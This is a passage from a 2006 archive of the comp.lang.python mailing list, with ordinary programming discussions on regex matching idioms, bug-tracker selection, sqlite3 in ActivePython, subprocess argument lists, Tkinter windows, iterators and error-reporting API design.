	<gzJUg.134225$zy5.1829430@twister1.libero.it>
	<452410E9.9040403@v.loewis.de>
	<TnVUg.135451$zy5.1833460@twister1.libero.it>
Message-ID: <1159997348.228622.246410@h48g2000cwc.googlegroups.com>

Giovanni Bajo wrote:
> So we have a problem between the PSF and the "PSF infrastructure committee",
> since the latter did not put "being written in Python" has a requirement for
> the tracker.

There was no problem. The committee had their mandate, to find the best
candidate for a tracker for Python. The quality of the tracker was felt
to be more important than the language it was written in or the license
it uses. The committee members worked hard to fulfill their mandate,
and they deserve the gratitude and appreciation of all of us.

I know for a fact (having raised this very issue with the committee
myself) that they took "written in Python" into consideration. Not as a
requirement though -- the requirement was simply to decide on the best
tracker, regardless of language or license.

Look at the results again. Jira and RoundUp tied for functionality, but
Jira has a hosting/admin offer behind it. That's huge. But rather than
declaring Jira the outright winner, which they could have done, the
committee has allowed the community to decide the matter. If enough
admins come forward, RoundUp will win.

I read that as a big push for "written in Python".

David Goodger



From nick at craig-wood.com  Mon Oct  2 04:30:07 2006
From: nick at craig-wood.com (Nick Craig-Wood)
Date: Mon, 02 Oct 2006 03:30:07 -0500
Subject: builtin regular expressions?
References: <451e37a5$1@news.vo.lu>
	<1159697098.695488.275130@k70g2000cwa.googlegroups.com>
Message-ID: <slrnei1isu.hs6.nick@irishsea.home.craig-wood.com>

Kay Schluehr <kay.schluehr at gmx.net> wrote:
>  I notice two issues here. Only one has anything to do with regular
>  expressions. The other one with 'explicit is better than implicit': the
>  many implicit passing operations of Rubys case statement. Using
>  pseudo-Python notation this could be refactored into a more explicit
>  and not far less concise style:
> 
>  if line.match( "title=(.*)" ) as m:
>     print "Title is %s"%m.group(1)
>  elif line.match( "track=(.*)" ) as m:
>     print "Track is %s"%m.group(1)
>  elif line.match( "artist=(.*)" ) as m:
>     print "Artist is %s"%m.group(1)
> 
>  Here the result of the test line.match( ) is assigned to the local
>  variable m if bool(line.match( )) == True. Later m can be used in the
>  subsequent block.

Interesting!

This is exactly the area that (for me) python regexps' become more
clunky that perl's - not being able to assign and test the match
object in one line.

This leads to the rather wordy

    m = re.match("title=(.*)", line)
    if m:
        print "Title is %s" % m.group(1)
    else:
        m =  re.match("track=(.*)", line)
        if m:
            print "Track is %s"%m.group(1)
        else:
            m = re.match("artist=(.*)", line)
            if m:
                print "Artist is %s"%m.group(1)
    

If you could write

    if re.match("title=(.*)", line) as m:
        print "Title is %s" % m.group(1)
    elif re.match("track=(.*)", line) as m:
        print "Track is %s" % m.group(1)
    elif re.match("artist=(.*)", line) as m:
        print "Artist is %s" % m.group(1)

that would be a significant benefit.

You can of course define a helper class like this

    class Matcher:
        """Regexp matcher helper"""
        def match(self, r,s):
            """Do a regular expression match and return if it matched."""
            self.value = re.match(r,s)
            return self.value
        def __getitem__(self, n):
            """Return n'th matched () item."""
            return self.value.group(n)

Which makes this bit really quite neat

    m = Matcher()
    if m.match("title=(.*)", line):
        print "Title is %s" % m[1]
    elif m.match("track=(.*)", line):
        print "Track is %s" % m[1]
    elif m.match("artist=(.*)", line):
        print "Artist is %s" % m[1]

> Moreover match becomes a string method. No need for extra importing
> re and applying re.compile(). Both can be done in str.match() if
> necessary.

I'm happy with the re module.  Having transitioned from perl to python
some time ago now, I find myself using many fewer regexps due to the
much better built in string methods of python.  This is a good thing,
because regexps should be used sparingly and they do degenerate into
line noise quite quickly...

-- 
Nick Craig-Wood <nick at craig-wood.com> -- http://www.craig-wood.com/nick


From john at castleamber.com  Mon Oct 23 16:02:44 2006
From: john at castleamber.com (John Bokma)
Date: 23 Oct 2006 20:02:44 GMT
Subject: Getting a lot of SPAM from this list
References: <UeSdnWGhrcr6iaDYnZ2dnUVZ_s2dnZ2d@comcast.com>
	<mailman.1003.1161631524.11739.python-list@python.org>
Message-ID: <Xns9865990D5F1ECcastleamber@130.133.1.4>

Ed Leafe <ed at leafe.com> wrote:

>      Spammers don't scan lists as much anymore;

There is still a lot of harvesting from websites going on as far as I can 
tell. And Usenet, since "this list", or at least your post, also pops up 
on Usenet.

>      machines  
> infected with malware to extract addresses out of email programs. I  
> know this doesn't help you, but it is good to recognize that it isn't 
> always the fault of the list admins.

It *never* is, since the problem is the spammer. They have no right to 
abuse your email address.

-- 
John                               MexIT: http://johnbokma.com/mexit/
                           personal page:       http://johnbokma.com/
        Experienced programmer available:     http://castleamber.com/
            Happy Customers: http://castleamber.com/testimonials.html


From chtaylo3 at gmail.com  Wed Oct 18 18:52:24 2006
From: chtaylo3 at gmail.com (Christopher Taylor)
Date: Wed, 18 Oct 2006 18:52:24 -0400
Subject: ?Incorrect Configure script?
Message-ID: <2590773a0610181552jcfb34daj4c31b4889ba3b5db@mail.gmail.com>

I'm not sure if this is a problem with python or not.

I'm trying to compile up mod_python to point to /usr/bin/python2.4 (RH
has /usr/bin/python2.3 already installed to I don't want to mess with
/usr/bin/python).  When it gets to linking in
/usr/lib/python2.4/config/libpython2.4.a I get the following error:

/usr/bin/ld: /usr/lib/python2.4/config/libpython2.4.a(abstract.o):
relocation R_X86_64_32 against `a local symbol' can not be used when
making a shared object; recompile with -fPIC
/usr/lib/python2.4/config/libpython2.4.a: could not read symbols: Bad value


I did some poking around and according to Gentoo's website
(http://www.gentoo.org/proj/en/base/amd64/howtos/index.xml?part=1&chap=3)
it appears that this is due to the fact that libpython2.4.a was not
intially built with -fPIC, which it seems is required for AMD64 (so
I'm assuming it's also required for my intel x86_64).

Is this a bug in the configure script for python or did I just not set
something correctly?

Respectfully,
Christopher Taylor


From mrmakent at cox.net  Wed Oct 25 15:14:59 2006
From: mrmakent at cox.net (Mike Kent)
Date: 25 Oct 2006 12:14:59 -0700
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
Message-ID: <1161803699.883117.325880@i3g2000cwc.googlegroups.com>


John Salerno wrote:
> I'm a little confused. Why doesn't s evaluate to True in the first part,
>   but it does in the second? Is the first statement something different?
>
>  >>> s = 'hello'
>  >>> s == True
> False
>  >>> if s:
> 	print 'hi'
>
>
> hi
>  >>>
>
> Thanks.

Excellent question!  This should help:

>>> s = "Hello"
>>> s
'Hello'
>>> bool(s)
True
>>> s == True
False

The value of s is not equal to the value of True.  But, the *boolean*
value of s is True, since it is not 0 or an empty string.  The python
'if' statement evaluates the boolean value of the condition expression.



From steve at holdenweb.com  Thu Oct 12 22:46:00 2006
From: steve at holdenweb.com (Steve Holden)
Date: Fri, 13 Oct 2006 03:46:00 +0100
Subject: python 2.5 & sqlite3
In-Reply-To: <452EB3B9.6080603@activestate.com>
References: <1160598897.399515.290620@m7g2000cwm.googlegroups.com>	<mailman.337.1160600574.11739.python-list@python.org>	<1160603125.964879.17480@m73g2000cwd.googlegroups.com>	<mailman.338.1160604416.11739.python-list@python.org>	<1160616758.718092.210130@m73g2000cwd.googlegroups.com>	<mailman.356.1160631952.11739.python-list@python.org>	<eJtXg.104$1n3.2850@news.tufts.edu>	<eglqns$u92$1@sea.gmane.org>
	<452EB3B9.6080603@activestate.com>
Message-ID: <egmujd$6kf$2@sea.gmane.org>

Trent Mick wrote:
>>if it doesn't, it wouldn't be the first time they'd (by accident or on 
>>purpose) left things out.  
> 
> 
> Other than SSL, do you have examples?
> 
>  > trust me, it'd cause a lot less confusion if
> 
>>ActivePython was a true superset of the python.org distribution.
> 
> 
> For every extension except SSL support (*) it is.
> 
> (*) Still working on export-control legals for that. I was hoping to 
> have that ready for ActivePython 2.5. But that doesn't look like it will 
> happen on time. And now I've missed getting ActivePython 2.5 out soon 
> after Python 2.5 because I'm focussed on Komodo 4.0 for now.
> 
> For others, unfortunately ActivePython 2.5 will probably not be ready 
> until mid-November.
> 
You guys need to hurry up and get that Komodo hire made ...

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From fredrik at pythonware.com  Thu Oct 26 04:16:23 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 26 Oct 2006 10:16:23 +0200
Subject: Problem Commenting within Filehandle Iteration
In-Reply-To: <3ACF03E372996C4EACD542EA8A05E66A0615D4@mailbe01.teak.local.net>
References: <3ACF03E372996C4EACD542EA8A05E66A0615D4@mailbe01.teak.local.net>
Message-ID: <ehpqsn$vi9$1@sea.gmane.org>

Wijaya Edward wrote:

>     if m:
>         print line,
>     else:
>         #print 'SPAM -- %s' % line
> myfile.close()
> 
> Sometime while developing/debugging the code we usually 
> put in such situation. Where expression under "else"
> is not yet supplied, yet we would like see the printout of the
> previous "if" condition. 
>  
> Notice that I wanted to comment out the #print line there.
> However I found problem with myfile.close(), with identation error.
> This error doesn't occur when commenting (#) is not in use.
>  
> Why so?  Is there away to do the commenting in correct way
> under this circumstances?

statement suites cannot be empty in Python (and comments don't count). 
to fix this, insert a "pass" statement:

     if m:
         print line,
     else:
         pass # print 'SPAM -- %s' % line

also see:

     http://effbot.org/pyref/pass.htm

</F>



From fredrik at pythonware.com  Fri Oct 27 02:19:22 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 27 Oct 2006 08:19:22 +0200
Subject: How to Split Chinese Character with backslash representation?
In-Reply-To: <3ACF03E372996C4EACD542EA8A05E66A0615DD@mailbe01.teak.local.net>
References: <mailman.1319.1161920633.11739.python-list@python.org>	<ehs0de$pk6$1@enyo.uwa.edu.au>
	<3ACF03E372996C4EACD542EA8A05E66A0615DD@mailbe01.teak.local.net>
Message-ID: <ehs8d9$l23$1@sea.gmane.org>

Wijaya Edward wrote:

> Since there are separator I need to include as delimiter
> Especially for the case like this:
> 
>>>> str = '\xc5\xeb\xc7\xd5\xbc--FOO--BAR'
>>>> field = list(str)
>>>> print field
> ['\xc5', '\xeb', '\xc7', '\xd5', '\xbc', '-', '-', 'F', 'O', 'O', '-', '-', 'B', 'A', 'R']
> 
> What we want as the output is this instead:
> ['\xc5', '\xeb', '\xc7', '\xd5', '\xbc','FOO','BAR]

 >>> s = '\xc5\xeb\xc7\xd5\xbc--FOO--BAR'
 >>> re.findall("(?i)[a-z]+|[\xA0-\xFF]", s)
'\xd5', '\xbc', 'FOO', 'BAR']

the RE matches either a sequence of latin characters, *or* a single 
non-ASCII character.

you may want to adjust the character ranges to match the encoding you're 
using, and your definition of non-chinese words.

</F>



From steve at REMOVE.THIS.cybersource.com.au  Tue Oct 31 07:02:17 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Tue, 31 Oct 2006 23:02:17 +1100
Subject: Help me understand this iterator
References: <1162294568.168728.178270@m73g2000cwd.googlegroups.com>
Message-ID: <pan.2006.10.31.12.02.15.460210@REMOVE.THIS.cybersource.com.au>

On Tue, 31 Oct 2006 03:36:08 -0800, LaundroMat wrote:

> Hi,
> 
> I've found this script over at effbot
> (http://effbot.org/librarybook/os-path.htm), and I can't get my head
> around its inner workings. 

[snip code]

> Now, if I look at this script step by step, I don't understand:
> - what is being iterated over (what is being called by "file in
> DirectoryWalker()"?);

What is being iterated over is the list of files in the current directory.
In Unix land (and probably DOS/Windows as well) the directory "." means
"this directory, right here".


> - where it gets the "index" value from;

When Python see's a line like "for x in obj:" it does some special
magic. First it looks to see if obj has a "next" method, that is, it
tries to call obj.next() repeatedly. That's not the case here --
DirectoryWalker is an old-style iterator, not one of the fancy new ones.

Instead, Python tries calling obj[index] starting at 0 and keeps going
until an IndexError exception is raised, then it halts the for loop.

So, think of it like this: pretend that Python expands the following code:

for x in obj:
    block

into something like this:

index = 0
while True: # loop forever
    try:
        x = obj[index]
        block # can use x in block
    except IndexError:
        # catch the exception and escape the while loop
        break
    index = index + 1
# and now we're done, continue the rest of the program

That's not exactly what Python does, of course, it is much more efficient,
but that's a good picture of what happens.


> - where the "while 1:"-loop is quitted.


The while 1 loop is escaped when the function hits the return statement.



-- 
Steven.



From blue99 at interia.pl  Mon Oct 16 03:40:57 2006
From: blue99 at interia.pl (Rob Wolfe)
Date: 16 Oct 2006 00:40:57 -0700
Subject: How to send E-mail without an external SMTP server ?
In-Reply-To: <mailman.556.1160984073.11739.python-list@python.org>
References: <mailman.553.1160976477.11739.python-list@python.org>
	<1160981517.845397.173540@h48g2000cwc.googlegroups.com>
	<mailman.556.1160984073.11739.python-list@python.org>
Message-ID: <1160984457.022691.75340@i42g2000cwa.googlegroups.com>


fdu.xiaojf at gmail.com wrote:

> Do I have to setup a smtp server on my localhost ?

If I see correctly your smtp server is gmail.com.

HTH,
Rob



From Leo.Kislov at gmail.com  Fri Oct 27 02:22:55 2006
From: Leo.Kislov at gmail.com (Leo Kislov)
Date: 26 Oct 2006 23:22:55 -0700
Subject: my first software
References: <1161866381.967287.30490@m7g2000cwm.googlegroups.com>
Message-ID: <1161930175.249705.61070@i3g2000cwc.googlegroups.com>


FS.Jason at gmail.com wrote:
> I am a beginner of programming and started to learn Python a week ago.
> last 3 days, i write this little tool for Renju.if you have any advice
> on my code,please tell me

>     s = ''
>
>     for i in range (0,len(done) - 1):
>         s = s +str(done[i][0]) + str(done[i][1]) + '\n'
>     s = s + str(done[len(done) - 1][0]) + str(done[len(done) - 1][1])
>
>

This is easier to do with a generator comprehension and join method:

s = '\n'.join(str(item[0]) + str(item[1]) for item in done)


>     for i in range (0, len(s)):
>         x = s[i][0]
>         .....
>         if i%2 == 0:
>         ....

There is a builtin function enumerate for this case, IMHO it's slightly
easier to read:

for i, item in enumerate(s)
    x = item[0]
    ...
    if not i%2:
    ...

>     if len(done) != 0 and beensaved == 0 and askyesno(...):
>             saveasfile()

It's a personal matter, but usually python programmers treats values in
boolean context directly without comparison:

if done and not beensaved and askyesno(...):

The rules are documented here: http://docs.python.org/lib/truth.html .

  -- Leo



From jdlists at gmail.com  Wed Oct 18 23:01:36 2006
From: jdlists at gmail.com (jdlists at gmail.com)
Date: 18 Oct 2006 20:01:36 -0700
Subject: Converting existing module/objects to threads
In-Reply-To: <mailman.730.1161223803.11739.python-list@python.org>
References: <1161219746.574285.188930@m7g2000cwm.googlegroups.com>
	<mailman.730.1161223803.11739.python-list@python.org>
Message-ID: <1161226896.308336.263570@k70g2000cwa.googlegroups.com>


Gabriel Genellina wrote:
> At Wednesday 18/10/2006 22:02, jdlists at gmail.com wrote:
>
> >This currently works in a non-threaded version, but only for one device
> >at a time, there is a need to create a single windows(yeach) service
> >that talks to many of these devices at once.  I don't need worker
> >threads that handle seperate portions of the entire job, i need a
> >single application to spawn multiple processes to run through the
> >entire communication from configure to report, sleep until the next
> >interval time and run again.  The communication could last from 1
> >minute to 10 minutes before it ends.
>
> Consider using the asyncore module instead of threads.
>
>
> --
> Gabriel Genellina
> Softlab SRL

I think that is a good point and I am considering using
asyncore/asynchat...  i'm a little confused as to how i can make this
model work.  There is no server communication without connection from
the client (me), which happens on intervals, not when data is available
on a socket or when the socket is available to be written, which is
always.  Basically i need to determine how to trigger the asynchat
process based on time.  in another application that i write, i'm the
server and the chat process happens every time the client wakes
up...easy and perfect for asyncore

That is a solution i'd like to persue, but am having a hard time
getting my head around that as well.



>
>
>
>
>
> __________________________________________________
> Pregunt?. Respond?. Descubr?.
> Todo lo que quer?as saber, y lo que ni imaginabas,
> est? en Yahoo! Respuestas (Beta).
> ?Probalo ya! 
> http://www.yahoo.com.ar/respuestas



From gagsl-py at yahoo.com.ar  Wed Oct 18 19:09:40 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Wed, 18 Oct 2006 20:09:40 -0300
Subject: Getting method name from within the class method
In-Reply-To: <1161210607.901928.26430@e3g2000cwe.googlegroups.com>
References: <mailman.716.1161205201.11739.python-list@python.org>
	<1161207492.298811.178110@m7g2000cwm.googlegroups.com>
	<20061018145926.0e8d3277@opal.pathscale.com>
	<mailman.723.1161209498.11739.python-list@python.org>
	<1161210607.901928.26430@e3g2000cwe.googlegroups.com>
Message-ID: <7.0.1.0.0.20061018200044.03588168@yahoo.com.ar>

At Wednesday 18/10/2006 19:30, yellowalienbaby at gmail.com wrote:

> > > > >>> class test(object):
> > > > ...  def a_method(self,this,that):
> > > > ...   print self.a_method.__name__
> > >
> > >Doing the above will obviously work!
> > >
> > >However, I don't want to have to use the name of the function in the
> > >print statement (the ".a_method." part). Imagine having about 100 of
> > >the above print statements in the function and then you change the name
> > >of the function. I want all 100 of the print statements to work without
> > >having to change every one of them to reflect the new function name.
> >
> > Use the inspect module.
> >
>I'm sure the OP has good reasons, and I dont want to be arguing with
>anyone, but I am curious. If I found myself in a similar situation I
>wouldn't try to include code in whatever I'm  writing that simply aids
>my writing of the code; it's irrelevant to the application and in my
>mind, shouldn't be there. its probably only a tiny bit of extra
>resource etc.. included into the app's use of resources and hence not
>really so important, but I would feel happier with my end code if I
>hadn't done such a thing.

I could see some merit on getting that info in an automatic way.
The only reason I can see for knowing the name of a function is for 
debugging purposes - maybe some kind of logging utility. If you are 
in "debug mode", resources are not too important, but correct 
information is. Imagine a logfile that says that you were at 
function_a but instead you were at function_b (because of copy&paste 
without replacing the names)


-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From eric_brunel at despammed.com  Tue Oct 10 04:42:16 2006
From: eric_brunel at despammed.com (Eric Brunel)
Date: Tue, 10 Oct 2006 10:42:16 +0200
Subject: Tkinter: Making a window disappear
References: <1160384553.312778.275170@b28g2000cwb.googlegroups.com>
	<1160384919.725322.112860@k70g2000cwa.googlegroups.com>
Message-ID: <op.tg66gqlrrqur0o@eb.pragmadev>

On Mon, 09 Oct 2006 11:08:39 +0200, Claus Tondering  
<claus.tondering at gmail.com> wrote:

> I just solved the problem myself:
>
> I wrote:
>>             self.destroy()
>
> Writing "self.master.destroy()" instead does the trick.

As an alternative (which is better IMHO), you may consider specializing  
Toplevel instead of Frame for your dialog:

class MyDialog(Toplevel):
   ...

In tk/Tkinter, a Frame is a generic container for widgets; it is not what  
is usually called a window. Creating an instance of Frame when there is no  
window to contain it happens to create a new one, but it is a side-effect,  
and you should not rely on it.

Once you've done that, you can simply write:

self.destroy()

to delete the window.

> Sorry for the inconvenience.

No problem.

HTH
-- 
python -c "print ''.join([chr(154 - ord(c)) for c in  
'U(17zX(%,5.zmz5(17l8(%,5.Z*(93-965$l7+-'])"


From fredrik at pythonware.com  Mon Oct 23 10:58:22 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 23 Oct 2006 16:58:22 +0200
Subject: Parsing XML using SAX
References: <676224240610230734u4f5ae6daq974defb684ffe2af@mail.gmail.com>
Message-ID: <ehilae$vmn$1@sea.gmane.org>

Nathan Harmston wrote:

> However it is quite messy at the moment. The main reason is that Python
> doesnt have a switch statement.

a switch statement wouldn't save you a single line, so I find it a bit hard
to believe that it's the main reason...

> def startElement(self,name,attributes):
>                if name == "sbml":
>                        s = Sbml(attributes['xmlns'], attributes['version'],
> attributes['level'])
>                        self.sbmlDict['sbml'] = s
>                elif name == "model":
>                        m = Model(attributes['id'], attributes['name'])
>                        self.sbmlDict['model'] = m
>                elif name == "listOfCompartments":
>                        self.inListOfCompartments = bool(1)
>                elif name == "compartment" and self.inListOfCompartments:
>                        c = Compartment(attributes['id'],
> attributes['name'])
>                        self.tempList.append(c)
> .......................................snip
>
> I would use a dictionary for this, but this would require the use of many
> extra methods for each tag name, and this would lead to clutter aswell. Does
> anyone have any suggestions for reducing the number of lines and making my
> code look neater than a large amount of methods or elif statements.

forget about SAX and silly state machines, and use a modern XML library;
here's some ElementTree inspiration:

    http://effbot.org/zone/element-iterparse.htm#incremental-decoding

there are several other newer libraries that provide built-in data binding support,
including lxml.objectify and Amara.

</F> 





From sybrenUSE at YOURthirdtower.com.imagination  Tue Oct 17 14:28:15 2006
From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel)
Date: Tue, 17 Oct 2006 20:28:15 +0200
Subject: HTML Encoded Translation
References: <1161108640.669383.178470@h48g2000cwc.googlegroups.com>
Message-ID: <slrneja85v.5mo.sybrenUSE@schuimige.stuvel.eu>

Dave enlightened us with:
> How can I translate this:
>
> &#103;&#105;
>
> to this:
>
> "gi"
>
> I've tried urllib.unencode and it doesn't work.

As you put so nicely in the subject: it is HTML encoding, not URL
encoding. Those are two very different things! Try a HTML decoder,
you'll have more luck with that...

Sybren
-- 
Sybren St??vel
St??vel IT - http://www.stuvel.eu/


From hanumizzle at gmail.com  Fri Oct  6 22:47:51 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 22:47:51 -0400
Subject: Can't get around "IndexError: list index out of range"
In-Reply-To: <1160179043.266322.311940@i3g2000cwc.googlegroups.com>
References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com>
	<mailman.1223.1159934114.10491.python-list@python.org>
	<1160179043.266322.311940@i3g2000cwc.googlegroups.com>
Message-ID: <463ff4860610061947k2fbe8478lc7b76cef46928473@mail.gmail.com>

On 6 Oct 2006 16:57:23 -0700, erikcw <erikwickstrom at gmail.com> wrote:
> I ended up using len(sys.argv) > 1 for this particular problem.  But I
> think slicing is closer to the tool I was looking for.
>
> I found a.has_key(k) or "k in a" for dictionaries - but haven't found
> anything similar for lists.  Does it exist?

As Gabriel Genellina observed, lists also may use the 'in' syntax.
Actually, any object that supports the method __contains__ can do
this, which means you may furnish your own in user objects.

What hasn't been addressed is efficiency. This is often a secondary
concern in a VHLL such as Python, but you may wish to know that using
the 'in' test on a large list repeatedly will slow down a program. You
may wish to use a set object instead, according to the application.

> I guess my example from php would technically be a dictionary in python
> and not a list, it would nice to be able to quickly tell if a list key
> existed or not.

Yes, PHP arrays are associative (dicts). But lists (in the Pythonic
sense, aka 'vectors') do not have keys as such, only indices.

-- Theerasak


From sigzero at gmail.com  Sat Oct  7 09:33:16 2006
From: sigzero at gmail.com (Robert Hicks)
Date: 7 Oct 2006 06:33:16 -0700
Subject: Python to use a non open source bug tracker?
In-Reply-To: <QpVUg.135563$_J1.897353@twister2.libero.it>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com> <eftfoe$l8n$1@sea.gmane.org>
	<mailman.1155.1159876666.10491.python-list@python.org>
	<mailman.1163.1159879479.10491.python-list@python.org>
	<fxJUg.134222$zy5.1829414@twister1.libero.it>
	<45240E19.3040000@v.loewis.de> <7xwt7f4yox.fsf@ruckus.brouhaha.com>
	<QpVUg.135563$_J1.897353@twister2.libero.it>
Message-ID: <1160227996.504206.23320@m7g2000cwm.googlegroups.com>


Giovanni Bajo wrote:
> Paul Rubin wrote:
>
> >> You fail to recognize that Python is *already* using a non-free
> >> software for bug tracking, as do thousands of other projects.
> >
> > I don't think that reflects an explicit decision.  SF started out as
> > free software and the software became nonfree after people were
> > already using it.
>
> Moreover, this looked like a very good chance to have this nuisance sorted out.
> Too bad some people don't value free software enough.

Nuisance? I never heard a peep from anyone until this thread on c.l.p.!
This is just a rediculous thing to be arguing over, really it is.

Robert



From fredrik at pythonware.com  Thu Oct 26 08:21:02 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 26 Oct 2006 14:21:02 +0200
Subject: problem using subprocess.call
References: <ehq6k0$1pcf$1@pandora.alkar.net><mailman.1267.1161863734.11739.python-list@python.org>
	<ehq8r8$2nnh$1@pandora.alkar.net>
Message-ID: <ehq97f$npm$1@sea.gmane.org>

Alex Kachanov wrote:

>>    subprocess.call(["find", dir, "-name", "*.zip", "-execdir", "unzip", "{}", ";"])
>
> Ok, thanks, it works.
> But what's the difference? Why I can't pass all parameters as one string?

because there's no one around to split them up for you.

after all, that's the whole point of running another program without going though the
shell: what you pass in ends up, as is, in the other program's argument array.

</F> 





From python.list at tim.thechases.com  Mon Oct  2 11:17:44 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Mon, 02 Oct 2006 10:17:44 -0500
Subject: How can I make a class that can be converted into an int?
In-Reply-To: <slrnei2a9p.8ds.matt@mwilson.umlcoop.net>
References: <slrnei2a9p.8ds.matt@mwilson.umlcoop.net>
Message-ID: <45212D98.5080708@tim.thechases.com>

> What are the internal methods that I need to define on any class so that
> this code can work?
> 
> c = C("three")
> 
> i = int(c) # i is 3
> 
> I can handle the part of mapping "three" to 3, but I don't know what
> internal method is called when int(c) happens.
> 
> For string conversion, I just define the __str__ method.  What's the
> equivalent for int?  For float, too, while I'm at it?

Is it too unkind to say it's semi-obvious?

 >>> class Impersonator(object):
...     def __str__(self): return "I'm a string"
...     def __int__(self): return 42
...     def __float__(self): return 3.14159
...
 >>> c = Impersonator()
 >>> float(c)
3.1415899999999999
 >>> int(c)
42
 >>> str(c)
"I'm a string"

You say you can handle the conversion of "three" to 3, so I leave 
that implementation of __int__(self) to you... :)

-tkc





From jgodoy at gmail.com  Mon Oct 16 07:10:16 2006
From: jgodoy at gmail.com (Jorge Godoy)
Date: Mon, 16 Oct 2006 08:10:16 -0300
Subject: IDE that uses an external editor?
References: <20061014121444.C3D0.SLAWOMIR.NOWACZYK.847@student.lu.se>
	<17713.9709.575464.630058@montanaro.dyndns.org>
	<20061014212050.C3F7.SLAWOMIR.NOWACZYK.847@student.lu.se>
	<624934630610151434t5bb8b9f8l6572f26a69c08b54@mail.gmail.com>
	<mailman.547.1160948753.11739.python-list@python.org>
	<87veml468m.fsf@gmail.com>
	<slrnej6et9.kcl.nick@irishsea.home.craig-wood.com>
Message-ID: <87d58sa547.fsf@gmail.com>

Nick Craig-Wood <nick at craig-wood.com> writes:

> Attempting to bring this discussion back on topic: Emacs has a few
> python modes also.  There is the basic python-mode which does
> everything expected of a major-mode.  Syntax colouring, indentation
> that sort of thing.  There is also IM-Python for code navigation, and
> bycycle repair man for refactoring support.  You can run stuff at the
> interactive python prompt from within emacs.

Besides, even though PyDev's indentation got a little better it isn't as smart
as Emacs'.  Being a language where indentation matters, I find Emacs much more
productive and this only feature is a major problem to "migrate" from Emacs to
Eclipse. 

But, who knows when Eclipse gets better it will have the power needed to
implement the same set of indentation rules...

-- 
Jorge Godoy      <jgodoy at gmail.com>


From fredrik at pythonware.com  Fri Oct 20 05:51:38 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 20 Oct 2006 11:51:38 +0200
Subject: comparing Unicode and string
References: <1161005167.295259.290800@m7g2000cwm.googlegroups.com>
	<1161281095.174018.223790@f16g2000cwb.googlegroups.com>
Message-ID: <eha67a$ng4$1@sea.gmane.org>

luc.saffre at gmail.com wrote:

> Suggestion: shouldn't an error raise already when I try to assign s2?

variables are not typed in Python.  plain assignment will never raise an
exception.

</F> 





From fredrik at pythonware.com  Thu Oct 12 08:38:37 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 12 Oct 2006 14:38:37 +0200
Subject: Standard Forth versus Python: a case study
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com><7x3b9u376m.fsf@ruckus.brouhaha.com><Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com><1160603937.392188.253250@m7g2000cwm.googlegroups.com><1160619958.438049.53390@h48g2000cwc.googlegroups.com><l2jXg.63366$5o5.46778@tornado.texas.rr.com>
	<1160652722.908731.213650@i42g2000cwa.googlegroups.com>
Message-ID: <egld0e$ut6$1@sea.gmane.org>

idknow at gmail.com wrote:

> hi Paul; well when this was a stats-class assignment (back when pascal
> was popular :) i just stepped through the vector and compared it
>
> (pseudo-code)
>
> ptr p = [with values].
>
> fun median {
> var x = 0.
>  while( *p++) {
>    if( (*p) > x) x = *p.
>  }
>  return x.
> }
>
> of course, pascal is more verbose but that's median()

that's a rather unusual definition of median, though.

</F> 





From steve at holdenweb.com  Mon Oct  2 13:27:09 2006
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 02 Oct 2006 18:27:09 +0100
Subject: Pythonic API design: detailed errors when you usually don't care
In-Reply-To: <1159807538.579131.198670@e3g2000cwe.googlegroups.com>
References: <1159807538.579131.198670@e3g2000cwe.googlegroups.com>
Message-ID: <45214BED.6020608@holdenweb.com>

Simon Willison wrote:
> Hi all,
> 
> I have an API design question. I'm writing a function that can either
> succeed or fail. Most of the time the code calling the function won't
> care about the reason for the failure, but very occasionally it will.
> 
> I can see a number of ways of doing this, but none of them feel
> aesthetically pleasing:
> 
> 1.
> 
> try:
>   do_something()
> except HttpError:
>   # An HTTP error occurred
> except ApplicationError:
>   # An application error occurred
> else:
>   # It worked!
> 
> This does the job fine, but has a couple of problems. The first is that
> I anticipate that most people using my function won't care about the
> reason; they'll just want a True or False answer. Their ideal API would
> look like this:
> 
> if do_something():
>   # It succeeded
> else:
>   # It failed
> 
> The second is that the common path is success, which is hidden away in
> the 'else' clause. This seems unintuitive.
> 
> 2.
> 
> Put the method on an object, which stores the reason for a failure:
> 
> if obj.do_something():
>   # It succeeded
> else:
>   # It failed; obj.get_error_reason() can be called if you want to know
> why
> 
> This has an API that is closer to my ideal True/False, but requires me
> to maintain error state inside an object. I'd rather not keep extra
> state around if I don't absolutely have to.
> 
> 3.
> 
> error = do_something()
> if error:
>   # It failed
> else:
>   # It succeeded
> 
> This is nice and simple but suffers from cognitive dissonance in that
> the function returns True (or an object evaluating to True) for
> failure.
> 
> 4.
> 
> The preferred approach works like this:
> 
> if do_something():
>   # Succeeded
> else:
>   # Failed
> 
> BUT this works too...
> 
> ok = do_something()
> if ok:
>   # Succeeded
> else:
>   # ok.reason has extra information
>   reason = ok.reason
> 
> This can be implemented by returning an object from do_something() that
> has a __nonzero__ method that makes it evaluate to False. This solves
> my problem almost perfectly, but has the disadvantage that it operates
> counter to developer expectations (normally an object that evaluates to
> False is 'empty').
